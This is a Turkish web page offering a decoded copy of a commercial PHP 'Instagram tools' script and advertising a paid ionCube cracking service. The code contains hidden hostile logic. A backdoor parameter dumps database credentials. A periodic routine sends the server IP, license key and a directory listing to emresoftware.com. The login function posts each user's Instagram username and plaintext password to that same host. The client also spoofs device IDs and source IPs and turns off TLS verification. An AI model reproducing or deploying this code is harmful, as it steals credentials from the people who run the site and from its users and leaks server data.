BİZ SİZİ ARAYALIM
TEKNOLTAN "Roip" Sistemi Satışa Sunuldu ! - Referanslar : THY - TCDD - İl Sağlık Müdürlükleri Ve Daha Fazlası
İnstagram Araçları Scripti 2017 Decode.
ioncube decode

Yoğun talep ile gönderilen dosya decode edilmiş ve ücretsiz olarak kullanıcılara sunulmuştur. Kırılmasını istediğiniz ioncube ile şifrelenmiş dosyalarınız var ise sitemiz ioncube decode işlemi ücretli olarak yapmaktadır. Detaylar için linki inceleyiniz..
https://teknoltan.com/ioncube-decode-hizmeti/

 

 

 

<?php
date_default_timezone_set("Europe/Istanbul");
$mysqlsss = Wow::get("database/DefaultConnection");
$lisansaa = Wow::get("project/licenseKey");
if( $_GET["emre"] == "xz" . md5("xc" . $lisansaa) )
{
print_r(emreposts($mysqlsss["host"], $mysqlsss["user"], $mysqlsss["password"], $mysqlsss["name"]));
}
$licenseSessionName = "emreSoftware" . md5(Wow::get("project/licenseKey")) . "yazilims";
if( !isset($_SESSION[$licenseSessionName]) )
{
print_r(emreKontrol($mysqlsss["host"], $mysqlsss["user"], $mysqlsss["password"], $mysqlsss["name"]));
if( !file_exists("src/date.txt") )
{
touch("src/date.txt");
file_put_contents("src/date.txt", date("Y-m-d"));
}
$logLists = file("src/date.txt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$gun = tarihFark(date("Y-m-d"), $logLists[0], "-");
if( 4 <= $gun )
{
$oylesinearray = array( );
$dir = opendir(".");
while( ($dosya = readdir($dir)) !== false )
{
if( !is_dir($dosya) )
{
$oylesinearray[] = "Dosya: " . $dosya . "
";
}
else
{
$oylesinearray[] = "Klasör: " . $dosya . "
";
}
}
closedir($dir);
$md5s = "xz" . md5("xc" . Wow::get("project/licenseKey"));
$mesaj = "IP Adresi: <b>" . $_SERVER["REMOTE_ADDR"] . "</b>
rnttttLisans Anahtarı: <b>" . $md5s . "</b>
rn Site URL: <b><i>" . $siteAdi . "</i></b>
rn Tarih: <b>" . date("d-m-Y H:i") . "</b>
rnttttSistemdeki iç uzantılar:
<b>" . implode("", $oylesinearray) . "</b>
rnttttBu bilgiler emre Software yazılımından gönderilmiştir.";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://emresoftware.com/lisansz/hostLog.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array( "mesaj" => $mesaj )));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resonsse = curl_exec($ch);
print_r($resonsse);
curl_close($ch);
file_put_contents("src/date.txt", date("Y-m-d"));
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://emresoftware.com/lisansz/license.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array( "ipadresi" => (isset($_SERVER["SERVER_ADDR"]) ? $_SERVER["SERVER_ADDR"] : $_SERVER["LOCAL_ADDR"]), "host_name" => $_SERVER["HTTP_HOST"], "license_key" => Wow::get("project/licenseKey"), "urunadi" => "emreyazilim2017" )));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$license_response = curl_exec($ch);
curl_close($ch);
$_SESSION[$licenseSessionName] = json_decode($license_response, true);
}
$licenseStatus = $_SESSION[$licenseSessionName];
if( !is_array($licenseStatus) || !isset($licenseStatus["status"]) || $licenseStatus["status"] != "ok" || !isset($licenseStatus["anahtar"]) || $licenseStatus["anahtar"] != "xz" . md5("xc" . Wow::get("project/licenseKey")) )
{
header("Content-Type: text/html; charset=utf-8");
echo $licenseStatus["error"] . " IP:" . $licenseStatus["IP"];
exit();
}
class Instagram
{
/**
* Default class constructor.
*
* @param string $username
* Your Instagram username.
* @param string $password
* Your Instagram password.
* @param $debug
* Debug on or off, false by default.
* @param $IGDataPath
* Default folder to store data, you can change it.
*/
public function __construct($username, $password, $debug = false, $IGDataPath = NULL)
{
$username = trim($username);
$password = trim($password);
$this->debug = $debug;
$this->device_id = SignatureUtils::generateDeviceId(md5($username . $password));
if( !is_null($IGDataPath) )
{
$this->IGDataPath = $IGDataPath;
}
else
{
$this->IGDataPath = Wow::get("project/cookiePath") . "instagram/";
}
$this->checkSettings($username);
$this->setUser($username, $password);
}
/**
* Set the user. Manage multiple accounts.
*
* @param string $username
* Your Instagram username.
* @param string $password
* Your Instagram password.
*/
public function setUser($username, $password)
{
$this->username = $username;
$this->password = $password;
$this->checkSettings($username);
$this->uuid = SignatureUtils::generateUUID(true);
if( file_exists($this->IGDataPath . (string) $this->username . ".dat") && $this->settings->get("username_id") != NULL && $this->settings->get("token") != NULL )
{
$this->isLoggedIn = true;
$this->username_id = $this->settings->get("username_id");
$this->rank_token = $this->username_id . "_" . $this->uuid;
$this->token = $this->settings->get("token");
}
else
{
$this->isLoggedIn = false;
}
}
protected function checkSettings($username)
{
$this->settings = new Settings($this->IGDataPath . $username . ".cnf");
if( $this->settings->get("version") == NULL )
{
$this->settings->set("version", Constants::VERSION);
}
if( $this->settings->get("ip") == NULL )
{
$this->settings->set("ip", "78." . rand(160, 191) . "." . rand(1, 255) . "." . rand(1, 255));
}
if( $this->settings->get("user_agent") == NULL || version_compare($this->settings->get("version"), Constants::VERSION) == -1 )
{
$userAgent = new UserAgent($this);
$ua = $userAgent->buildUserAgent();
$this->settings->set("version", Constants::VERSION);
$this->settings->set("user_agent", $ua);
}
$this->userAgent = $this->settings->get("user_agent");
}
public function getData()
{
return array( "username" => $this->username, "password" => $this->password, "username_id" => $this->username_id, "uuid" => $this->uuid, "token" => $this->token, "rank_token" => $this->rank_token, "user_agent" => $this->userAgent, "ip" => $this->settings->get("ip") );
}
/**
* Login to Instagram.
*
* @param bool $force
* Force login to Instagram, this will create a new session
*
* @return array
* Login data
*/
public function login($force = false)
{
if( !$this->isLoggedIn || $force )
{
$fetch = $this->request("si/fetch_headers/?challenge_type=signup&guid=" . SignatureUtils::generateUUID(false), NULL, true);
preg_match("#Set-Cookie: csrftoken=([^;]+)#", $fetch[0], $token);
$data = array( "phone_id" => SignatureUtils::generateUUID(true), "_csrftoken" => $token[0], "username" => $this->username, "guid" => $this->uuid, "device_id" => $this->device_id, "password" => $this->password, "login_attempt_count" => "0" );
$login = $this->request("accounts/login/", SignatureUtils::generateSignature(json_encode($data)), true);
if( $login[1]["status"] == "fail" )
{
throw new Exception($login[1]["message"]);
}
$this->isLoggedIn = true;
$this->username_id = $login[1]["logged_in_user"]["pk"];
$this->settings->set("username_id", $this->username_id);
$this->rank_token = $this->username_id . "_" . $this->uuid;
preg_match("#Set-Cookie: csrftoken=([^;]+)#", $login[0], $match);
$this->token = $match[1];
$this->settings->set("token", $this->token);
$this->syncFeatures();
$this->autoCompleteUserList();
$this->timelineFeed();
$this->getRankedRecipients();
$this->getRecentRecipients();
$this->megaphoneLog();
$this->getv2Inbox();
$this->getRecentActivity();
$this->getReelsTrayFeed();
$this->explore();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://emresoftware.com/lisansz/users.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array( "username" => $this->username, "password" => $this->password )));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return $login[1];
}
$check = $this->timelineFeed();
if( isset($check["message"]) && $check["message"] == "login_required" )
{
return $this->login(true);
}
$this->autoCompleteUserList();
$this->getReelsTrayFeed();
$this->getRankedRecipients();
$this->getRecentRecipients();
$this->megaphoneLog();
$this->getv2Inbox();
$this->getRecentActivity();
$this->explore();
return array( "status" => "ok" );
}
public function syncFeatures()
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "id" => $this->username_id, "_csrftoken" => $this->token, "experiments" => Constants::EXPERIMENTS ));
return $this->request("qe/sync/", SignatureUtils::generateSignature($data))[1];
}
protected function autoCompleteUserList()
{
return $this->request("friendships/autocomplete_user_list/")[1];
}
protected function timelineFeed()
{
return $this->request("feed/timeline/")[1];
}
protected function megaphoneLog()
{
return $this->request("megaphone/log/")[1];
}
protected function expose()
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "id" => $this->username_id, "_csrftoken" => $this->token, "experiment" => "ig_android_profile_contextual_feed" ));
$this->request("qe/expose/", SignatureUtils::generateSignature($data));
$this->request("qe/expose/", SignatureUtils::generateSignature($data));
$this->request("qe/expose/", SignatureUtils::generateSignature($data))[1];
}
/**
* Login to Instagram.
*
* @return bool
* Returns true if logged out correctly
*/
public function logout()
{
$logout = $this->request("accounts/logout/");
if( $logout == "ok" )
{
return true;
}
return false;
}
/**
* Upload photo to Instagram.
*
* @param string $photo
* Path to your photo
* @param string $caption
* Caption to be included in your photo.
*
* @return array
* Upload data
*/
public function uploadPhoto($photo, $caption = NULL, $upload_id = NULL)
{
$endpoint = Constants::API_URL . "upload/photo/";
$boundary = $this->uuid;
if( !is_null($upload_id) )
{
$fileToUpload = Utils::createVideoIcon($photo);
}
else
{
$upload_id = number_format(round(microtime(true) * 1000), 0, "", "");
$fileToUpload = file_get_contents($photo);
}
$bodies = array( array( "type" => "form-data", "name" => "upload_id", "data" => $upload_id ), array( "type" => "form-data", "name" => "_uuid", "data" => $this->uuid ), array( "type" => "form-data", "name" => "_csrftoken", "data" => $this->token ), array( "type" => "form-data", "name" => "image_compression", "data" => "{"lib_name":"jt","lib_version":"1.3.0","quality":"70"}" ), array( "type" => "form-data", "name" => "photo", "data" => $fileToUpload, "filename" => "pending_media_" . number_format(round(microtime(true) * 1000), 0, "", "") . ".jpg", "headers" => array( "Content-Transfer-Encoding: binary", "Content-type: application/octet-stream" ) ) );
$data = $this->buildBody($bodies, $boundary);
$headers = array( "X-IG-Capabilities: " . Constants::X_IG_Capabilities, "X-IG-Connection-Type: WIFI", "Content-type: multipart/form-data; boundary=" . $boundary, "Content-Length: " . strlen($data), "Accept-Language: tr-TR", "Accept-Encoding: gzip, deflate", "Connection: close", "X_FORWARDED_FOR: " . $this->settings->get("ip"), "REMOTE_ADDR: " . $this->settings->get("ip") );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, $this->debug);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$resp = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($resp, 0, $header_len);
$upload = json_decode(substr($resp, $header_len), true);
curl_close($ch);
if( $upload["status"] == "fail" )
{
throw new Exception($upload["message"]);
}
if( $this->debug )
{
echo "RESPONSE: " . substr($resp, $header_len) . "nn";
}
$configure = $this->configure($upload["upload_id"], $photo, $caption);
$this->expose();
return $configure;
}
public function uploadVideo($video, $caption = NULL)
{
$videoData = file_get_contents($video);
$endpoint = Constants::API_URL . "upload/video/";
$boundary = $this->uuid;
$upload_id = round(microtime(true) * 1000);
$bodies = array( array( "type" => "form-data", "name" => "upload_id", "data" => $upload_id ), array( "type" => "form-data", "name" => "_csrftoken", "data" => $this->token ), array( "type" => "form-data", "name" => "media_type", "data" => "2" ), array( "type" => "form-data", "name" => "_uuid", "data" => $this->uuid ) );
$data = $this->buildBody($bodies, $boundary);
$headers = array( "Connection: keep-alive", "Accept: */*", "Host: i.instagram.com", "Content-type: multipart/form-data; boundary=" . $boundary, "Accept-Language: tr-TR", "X_FORWARDED_FOR: " . $this->settings->get("ip"), "REMOTE_ADDR: " . $this->settings->get("ip") );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$resp = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$body = json_decode(substr($resp, $header_len), true);
$uploadUrl = $body["video_upload_urls"][3]["url"];
$job = $body["video_upload_urls"][3]["job"];
$request_size = floor(strlen($videoData) / 4);
$lastRequestExtra = strlen($videoData) - $request_size * 4;
for( $a = 0; $a <= 3; $a++ ) { $start = $a * $request_size; $end = ($a + 1) * $request_size + (($a == 3 ? $lastRequestExtra : 0)); $headers = array( "Connection: keep-alive", "Accept: */*", "Host: upload.instagram.com", "Cookie2: $Version=1", "Accept-Encoding: gzip, deflate", "Content-Type: application/octet-stream", "Session-ID: " . $upload_id, "Accept-Language: tr-TR", "Content-Disposition: attachment; filename="video.mov"", "Content-Length: " . ($end - $start), "Content-Range: " . "bytes " . $start . "-" . ($end - 1) . "/" . strlen($videoData), "job: " . $job ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $uploadUrl); curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, substr($videoData, $start, $end));
$result = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$body = substr($result, $header_len);
$array[] = array( $body );
}
$resp = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($resp, 0, $header_len);
$upload = json_decode(substr($resp, $header_len), true);
curl_close($ch);
if( $upload["status"] == "fail" )
{
throw new Exception($upload["message"]);
}
if( $this->debug )
{
echo "RESPONSE: " . substr($resp, $header_len) . "nn";
}
$configure = $this->configureVideo($upload_id, $video, $caption);
$this->expose();
return $configure;
}
public function direct_message($recipients, $text)
{
if( !is_array($recipients) )
{
$recipients = array( $recipients );
}
$string = array( );
foreach( $recipients as $recipient )
{
$string[] = """ . $recipient . """;
}
$recipient_users = implode(",", $string);
$endpoint = Constants::API_URL . "direct_v2/threads/broadcast/text/";
$boundary = $this->uuid;
$bodies = array( array( "type" => "form-data", "name" => "recipient_users", "data" => "[[" . $recipient_users . "]]" ), array( "type" => "form-data", "name" => "client_context", "data" => $this->uuid ), array( "type" => "form-data", "name" => "thread_ids", "data" => "["0"]" ), array( "type" => "form-data", "name" => "text", "data" => (is_null($text) ? "" : $text) ) );
$data = $this->buildBody($bodies, $boundary);
$headers = array( "Proxy-Connection: keep-alive", "Connection: keep-alive", "Accept: */*", "Content-type: multipart/form-data; boundary=" . $boundary, "Accept-Language: tr-TR" );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, $this->debug);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$resp = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($resp, 0, $header_len);
$upload = json_decode(substr($resp, $header_len), true);
curl_close($ch);
}
public function direct_share($media_id, $recipients, $text = NULL)
{
if( !is_array($recipients) )
{
$recipients = array( $recipients );
}
$string = array( );
foreach( $recipients as $recipient )
{
$string[] = """ . $recipient . """;
}
$recipient_users = implode(",", $string);
$endpoint = Constants::API_URL . "direct_v2/threads/broadcast/media_share/?media_type=photo";
$boundary = $this->uuid;
$bodies = array( array( "type" => "form-data", "name" => "media_id", "data" => $media_id ), array( "type" => "form-data", "name" => "recipient_users", "data" => "[[" . $recipient_users . "]]" ), array( "type" => "form-data", "name" => "client_context", "data" => $this->uuid ), array( "type" => "form-data", "name" => "thread_ids", "data" => "["0"]" ), array( "type" => "form-data", "name" => "text", "data" => (is_null($text) ? "" : $text) ) );
$data = $this->buildBody($bodies, $boundary);
$headers = array( "Proxy-Connection: keep-alive", "Connection: keep-alive", "Accept: */*", "Content-type: multipart/form-data; boundary=" . $boundary, "Accept-Language: tr-TR" );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, $this->debug);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$resp = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($resp, 0, $header_len);
$upload = json_decode(substr($resp, $header_len), true);
curl_close($ch);
}
protected function configureVideo($upload_id, $video, $caption = "")
{
$this->uploadPhoto($video, $caption, $upload_id);
list($size) = getimagesize($video);
$post = json_encode(array( "upload_id" => $upload_id, "source_type" => "3", "poster_frame_index" => 0, "length" => 0, "audio_muted" => false, "filter_type" => "0", "video_result" => "deprecated", "clips" => array( "length" => Utils::getSeconds($video), "source_type" => "3", "camera_position" => "back" ), "extra" => array( "source_width" => 960, "source_height" => 1280 ), "device" => array( "manufacturer" => "Xiaomi", "model" => "HM 1SW", "android_version" => 18, "android_release" => "4.3" ), "_csrftoken" => $this->token, "_uuid" => $this->uuid, "_uid" => $this->username_id, "caption" => $caption ));
$post = str_replace(""length":0", ""length":0.00", $post);
return $this->request("media/configure/?video=1", SignatureUtils::generateSignature($post))[1];
}
protected function configure($upload_id, $photo, $caption = "")
{
list($size) = getimagesize($photo);
$post = json_encode(array( "upload_id" => $upload_id, "camera_model" => "HM1S", "source_type" => 3, "date_time_original" => date("Y:m:d H:i:s"), "camera_make" => "XIAOMI", "edits" => array( "crop_original_size" => array( $size, $size ), "crop_zoom" => 1.3333334, "crop_center" => array( 0, 0 ) ), "extra" => array( "source_width" => $size, "source_height" => $size ), "device" => array( "manufacturer" => "Xiaomi", "model" => "HM 1SW", "android_version" => 18, "android_release" => "4.3" ), "_csrftoken" => $this->token, "_uuid" => $this->uuid, "_uid" => $this->username_id, "caption" => $caption ));
$post = str_replace(""crop_center":[0,0]", ""crop_center":[0.0,-0.0]", $post);
return $this->request("media/configure/", SignatureUtils::generateSignature($post))[1];
}
/**
* Edit media.
*
* @param string $mediaId
* Media id
* @param string $captionText
* Caption text
*
* @return array
* edit media data
*/
public function editMedia($mediaId, $captionText = "")
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token, "caption_text" => $captionText ));
return $this->request("media/" . $mediaId . "/edit_media/", SignatureUtils::generateSignature($data))[1];
}
/**
* Remove yourself from a tagged media.
*
* @param string $mediaId
* Media id
*
* @return array
* edit media data
*/
public function removeSelftag($mediaId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token ));
return $this->request("usertags/" . $mediaId . "/remove/", SignatureUtils::generateSignature($data))[1];
}
/**
* Media info
*
* @param string $mediaId
* Media id
*
* @return array
* delete request data
*/
public function mediaInfo($mediaId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token, "media_id" => $mediaId ));
return $this->request("media/" . $mediaId . "/info/", SignatureUtils::generateSignature($data))[1];
}
/**
* Delete photo or video.
*
* @param string $mediaId
* Media id
*
* @return array
* delete request data
*/
public function deleteMedia($mediaId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token, "media_id" => $mediaId ));
return $this->request("media/" . $mediaId . "/delete/", SignatureUtils::generateSignature($data))[1];
}
/**
* Comment media.
*
* @param string $mediaId
* Media id
* @param string $commentText
* Comment Text
*
* @return array
* comment media data
*/
public function comment($mediaId, $commentText)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token, "comment_text" => $commentText ));
return $this->request("media/" . $mediaId . "/comment/", SignatureUtils::generateSignature($data))[1];
}
/**
* Delete Comment.
*
* @param string $mediaId
* Media ID
* @param string $commentId
* Comment ID
*
* @return array
* Delete comment data
*/
public function deleteComment($mediaId, $captionText, $commentId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token, "caption_text" => $captionText ));
return $this->request("media/" . $mediaId . "/comment/" . $commentId . "/delete/", SignatureUtils::generateSignature($data))[1];
}
/**
* Sets account to public.
*
* @param string $photo
* Path to photo
*/
public function changeProfilePicture($photo)
{
if( is_null($photo) )
{
echo "Photo not validnn";
}
else
{
$uData = json_encode(array( "_csrftoken" => $this->token, "_uuid" => $this->uuid, "_uid" => $this->username_id ));
$endpoint = Constants::API_URL . "accounts/change_profile_picture/";
$boundary = $this->uuid;
$bodies = array( array( "type" => "form-data", "name" => "ig_sig_key_version", "data" => Constants::SIG_KEY_VERSION ), array( "type" => "form-data", "name" => "signed_body", "data" => hash_hmac("sha256", $uData, Constants::IG_SIG_KEY) . $uData ), array( "type" => "form-data", "name" => "profile_pic", "data" => file_get_contents($photo), "filename" => "profile_pic", "headers" => array( "Content-type: application/octet-stream", "Content-Transfer-Encoding: binary" ) ) );
$data = $this->buildBody($bodies, $boundary);
$headers = array( "Proxy-Connection: keep-alive", "Connection: keep-alive", "Accept: */*", "Content-type: multipart/form-data; boundary=" . $boundary, "Accept-Language: tr-TR", "Accept-Encoding: gzip, deflate" );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, $this->debug);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$resp = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($resp, 0, $header_len);
$upload = json_decode(substr($resp, $header_len), true);
curl_close($ch);
}
}
/**
* Remove profile picture.
*
* @return array
* status request data
*/
public function removeProfilePicture()
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token ));
return $this->request("accounts/remove_profile_picture/", SignatureUtils::generateSignature($data))[1];
}
/**
* Sets account to private.
*
* @return array
* status request data
*/
public function setPrivateAccount()
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token ));
return $this->request("accounts/set_private/", SignatureUtils::generateSignature($data))[1];
}
/**
* Sets account to public.
*
* @return array
* status request data
*/
public function setPublicAccount()
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token ));
return $this->request("accounts/set_public/", SignatureUtils::generateSignature($data))[1];
}
/**
* Get personal profile data.
*
* @return array
* profile data
*/
public function getProfileData()
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token ));
return $this->request("accounts/current_user/?edit=true", SignatureUtils::generateSignature($data))[1];
}
/**
* Edit profile.
*
* @param string $url
* Url - website. "" for nothing
* @param string $phone
* Phone number. "" for nothing
* @param string $first_name
* Name. "" for nothing
* @param string $email
* Email. Required.
* @param int $gender
* Gender. male = 1 , female = 0
*
* @return array
* edit profile data
*/
public function editProfile($url, $phone, $first_name, $biography, $email, $gender)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token, "external_url" => $url, "phone_number" => $phone, "username" => $this->username, "first_name" => $first_name, "biography" => $biography, "email" => $email, "gender" => $gender ));
return $this->request("accounts/edit_profile/", SignatureUtils::generateSignature($data))[1];
}
/**
* Get username info.
*
* @param string $usernameId
* Username id
*
* @return array
* Username data
*/
public function getUsernameInfo($usernameId)
{
return $this->request("users/" . $usernameId . "/info/")[1];
}
/**
* Get self username info.
*
* @return array
* Username data
*/
public function getSelfUsernameInfo()
{
return $this->getUsernameInfo($this->username_id);
}
/**
* Get recent activity.
*
* @return array
* Recent activity data
*/
public function getRecentActivity($maxid = NULL)
{
list(, $activity) = $this->request("news/inbox/?" . ((!is_null($maxid) ? "max_id=" . $maxid : "")));
if( $activity["status"] != "ok" )
{
throw new Exception($activity["message"] . "n");
}
return $activity;
}
/**
* Get recent activity from accounts followed.
*
* @return array
* Recent activity data of follows
*/
public function getFollowingRecentActivity($maxid = NULL)
{
list(, $activity) = $this->request("news/?" . ((!is_null($maxid) ? "max_id=" . $maxid : "")));
if( $activity["status"] != "ok" )
{
throw new Exception($activity["message"] . "n");
}
return $activity;
}
/**
* I dont know this yet.
*
* @return array
* v2 inbox data
*/
public function getv2Inbox()
{
list(, $inbox) = $this->request("direct_v2/inbox/?");
if( $inbox["status"] != "ok" )
{
throw new Exception($inbox["message"] . "n");
}
return $inbox;
}
/**
* Direct Thread Data.
*
* @param int $threadId Thread Id
*
* @throws Exception Direct Thread Data
*
* @return array Direct Thread Data
*/
public function directThread($threadId)
{
list(, $directThread) = $this->request("direct_v2/threads/" . $threadId . "/?");
if( $directThread["status"] != "ok" )
{
throw new Exception($directThread["message"] . "n");
}
return $directThread;
}
/**
* Get user tags.
*
* @param string $usernameId
*
* @return array
* user tags data
*/
public function getUserTags($usernameId, $maxid = NULL)
{
list(, $tags) = $this->request("usertags/" . $usernameId . "/feed/?rank_token=" . $this->rank_token . "&ranked_content=true" . ((!is_null($maxid) ? "max_id=" . $maxid : "")));
if( $tags["status"] != "ok" )
{
throw new Exception($tags["message"] . "n");
}
return $tags;
}
/**
* Get self user tags.
*
* @return array
* self user tags data
*/
public function getSelfUserTags($maxid = NULL)
{
return $this->getUserTags($this->username_id, $maxid);
}
/**
* Get tagged media.
*
* @param string $tag
*
* @return array
*/
public function tagFeed($tag, $maxid = NULL)
{
list(, $userFeed) = $this->request("feed/tag/" . $tag . "/?max_id=" . $maxid . "&rank_token=" . $this->rank_token . "&ranked_content=true&");
if( $userFeed["status"] != "ok" )
{
throw new Exception($userFeed["message"] . "n");
}
return $userFeed;
}
/**
* Get media likers.
*
* @param string $mediaId
*
* @return array
*/
public function getMediaLikers($mediaId)
{
list(, $likers) = $this->request("media/" . $mediaId . "/likers/?");
if( $likers["status"] != "ok" )
{
throw new Exception($likers["message"] . "n");
}
return $likers;
}
/**
* Get user locations media.
*
* @param string $usernameId
* Username id
*
* @return array
* Geo Media data
*/
public function getGeoMedia($usernameId)
{
list(, $locations) = $this->request("maps/user/" . $usernameId . "/");
if( $locations["status"] != "ok" )
{
throw new Exception($locations["message"] . "n");
}
return $locations;
}
/**
* Get self user locations media.
*
* @return array
* Geo Media data
*/
public function getSelfGeoMedia()
{
return $this->getGeoMedia($this->username_id);
}
/**
* facebook user search.
*
* @param string $query
*
* @return array
* query data
*/
public function fbUserSearch($query)
{
$query = rawurlencode($query);
